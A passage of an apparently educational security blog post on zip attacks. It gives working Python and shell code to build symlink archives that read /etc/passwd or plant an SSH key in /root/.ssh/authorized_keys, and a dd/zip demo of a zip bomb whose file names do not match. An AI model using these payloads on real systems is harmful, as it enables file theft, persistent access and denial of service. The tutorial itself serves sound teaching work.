&lt;p&gt;&lt;strong&gt;Put it into Practice&lt;/strong&gt;: If you&#39;re itching to try out Zip Slip and zip symlink attacks, feel free to try the &lt;a href=&quot;https://github.com/TrebledJ/attack-of-the-zip&quot;&gt;exercises I&#39;ve uploaded on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-symlink-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-symlink-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Symlink Payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Like before, we can use Python to generate zip symlink payloads. We&#39;ll need some extra massaging with &lt;code&gt;ZipInfo&lt;/code&gt; though.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-file.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── passwd.txt         -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;passwd.txt&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Linux =&amp;gt; 0. Windows =&amp;gt; 3.&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# File attributes.&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# /etc/passwd is the file we want to read.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;To construct a dir symlink attack, we change the path in &lt;code&gt;zip.writestr&lt;/code&gt; to a directory. We also use &lt;code&gt;zip.write&lt;/code&gt; to add a source file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /root/.ssh/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── authorized_keys&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/root/.ssh/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;# Add an file from our filesystem. (Not a symlink.)&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dirlink/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# evil-link-dir.zip&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# └── dirlink/           -&amp;gt; /some/readable/directory/&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#     └── passwd.html    -&amp;gt; /etc/passwd&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-link-dir-file.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; compression&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZIP_DEFLATED&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# Order matters! Write dir first, then file.&lt;/span&gt;
  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/some/readable/directory/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  info &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipInfo&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;dirlink/passwd.html&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_system &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
  info&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;external_attr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;stat&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;S_IFLNK &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0o777&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
  &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;writestr&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;info&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/etc/passwd&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Shell commands also work. (Make sure to use &lt;code&gt;-y&lt;/code&gt;/&lt;code&gt;--symlinks&lt;/code&gt; when zipping symlinks. Otherwise, you&#39;d be adding your actual &lt;code&gt;/etc/passwd&lt;/code&gt;!)&lt;/p&gt;
&lt;p&gt;Double symlink payload construction:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create our (soft) links.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /some/readable/directory/ dirlink&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /etc/passwd dirlink/passwd.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip the links. (Order matters!)&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-y&lt;/span&gt; evil-link-dir-file dirlink dirlink/passwd.txt&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Note that this approach will leave leftover files.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Symlink Attacks&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Permissions on Linux.
&lt;ul&gt;
&lt;li&gt;To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Permissions on Windows. By default, only Administrators have the privilege to &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links&quot;&gt;create symbolic links&lt;/a&gt;. This setting can be changed by &lt;a href=&quot;https://superuser.com/a/105381&quot;&gt;editing the local group policy&lt;/a&gt; or by directly enabling &lt;code&gt;SeCreateSymbolicLinkPrivilege&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Although symlink attacks are cool and all, they&#39;re relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-bombs&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-bombs&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Bombs 💣&lt;/h3&gt;
&lt;p&gt;Since we&#39;re talking about attacks, let&#39;s also cover zip bombs for completeness.&lt;/p&gt;
&lt;p&gt;Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed &lt;a href=&quot;https://en.wikipedia.org/wiki/Fork_bomb&quot;&gt;fork bomb&lt;/a&gt;, a zip bomb attempts to drain system resources.&lt;/p&gt;
&lt;div class=&quot;center rw mb-2 h-auto lightbox-gallery&quot;&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/68j4sr9h3dg21-1080w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:28.52%;aspect-ratio: auto 1080 / 1070&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/68j4sr9h3dg21-256w.webp 256w, https://trebledj.me/img/68j4sr9h3dg21-512w.webp 512w, https://trebledj.me/img/68j4sr9h3dg21-1024w.webp 1024w, https://trebledj.me/img/68j4sr9h3dg21-1080w.webp 1080w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1080px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/r_674011_CfdZB-627w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/r_674011_CfdZB-627w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:35.5%;aspect-ratio: auto 627 / 499&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/r_674011_CfdZB-256w.webp 256w, https://trebledj.me/img/r_674011_CfdZB-512w.webp 512w, https://trebledj.me/img/r_674011_CfdZB-627w.webp 627w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 627px&quot; /&gt;&lt;/a&gt;
&lt;a class=&quot;&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot;&gt;&lt;img class=&quot;multi&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;width:30.98%;aspect-ratio: auto 523 / 477&quot; alt=&quot;undefined&quot; title=&quot;undefined&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/unzip42-523w.webp 523w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 523px&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;The basic principle abuses the &lt;em&gt;&lt;strong&gt;deflate&lt;/strong&gt;&lt;/em&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; compression format to achieve compression ratios of up to &lt;a href=&quot;https://stackoverflow.com/a/16794960/10239789&quot;&gt;1032:1&lt;/a&gt;. This means after compression, every byte of compressed data can represent &lt;em&gt;up to&lt;/em&gt; 1032 bytes of &lt;em&gt;uncompressed&lt;/em&gt; data.&lt;/p&gt;
&lt;p&gt;Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why are highly-repetitive patterns &#39;easier to compress&#39;?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress &lt;code&gt;1111222233334444&lt;/code&gt;, we would say &lt;code&gt;four 1s, four 2s, four 3s, four 4s&lt;/code&gt; which has a compression ratio of 12 characters to 8 words. But if we want to compress &lt;code&gt;1111111111111111&lt;/code&gt;, we would say &lt;code&gt;twelve 1s&lt;/code&gt;, which has a higher compression ratio of 12 characters to &lt;em&gt;2&lt;/em&gt; words.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;The well-known &lt;a href=&quot;https://web.archive.org/web/20250126204307/https://unforgettable.dk/&quot;&gt;42.zip&lt;/a&gt; bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;4,503,599,626,321,920 bytes, to be exact&quot;&gt;4.5PB (petabytes, 15 zeros)&lt;/abbr&gt;!&lt;/p&gt;
&lt;p&gt;Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.&lt;/p&gt;
&lt;p&gt;In 2019, David Fifield introduced &lt;em&gt;a better zip bomb&lt;/em&gt;, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as &lt;strong&gt;Metadata Spoofing&lt;/strong&gt;.&lt;/p&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-bomb&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-bomb&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Bomb!&lt;/h4&gt;
&lt;p&gt;Here&#39;s a small demo on a Linux shell:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;# &quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token output&quot;&gt;Create a blank file with 5GB of null bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;dd&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/dev/zero &lt;span class=&quot;token assign-left variable&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20000&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;250000&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Zip it.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; test.zip test.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Count the number of bytes.&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; zero.txt zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5000000000 zero.txt&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 4852639 zero.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt; 5004852639 total&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;From 5GB, we&#39;ve gone down to ~4.9MB! A few of these could exhaust most virtual machines.&lt;/p&gt;
